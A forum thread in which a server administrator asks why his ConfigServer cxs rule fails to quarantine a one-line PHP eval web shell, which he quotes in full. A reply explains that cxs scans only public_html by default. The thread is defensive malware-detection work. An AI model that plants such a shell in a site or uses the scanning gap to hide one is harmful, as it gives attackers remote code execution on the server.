ConfigServer Community Forum

Hi, Sarah.
Would you be kind to tell me what I am doing wrong on the following rule that I have created on CXS?

InmunifyAV+ is detecting the following code as malicious, so, I have added the rule in cxs.xtra to quarantine the file but is not working.

This is the code that I want to block:

<?php eval($_POST["ly"]);exit; ?>

(the letters inside brackets are random and can be upper and/or lower case.

All the rules are created (in CloudLinux) directory:
/home/domain/.cagefs/tmp

I have added the following rule in cxs.xtra: regex101 show the rule is working:

MATCH INFORMATION:
Match1 0-33 <?php eval($_POST["ly"]);exit; ?>

Could it be that CXS is not checking inside ".cagefs/tmp" ?

Thanks in advance for your inputs.

Regards,
Sergio

Hi Sergio,

By default cxs will not scan files outside the users public_html directory, so unless you have disabled this limitation (by removing --www or unchecking the option in the wizards) then it will not be scanning those files at all.

Regards,
Sarah

Ohhh, that is why.

Thought I was doing something wrong, thanks for telling, appreciated.

Best Regards,
Sergio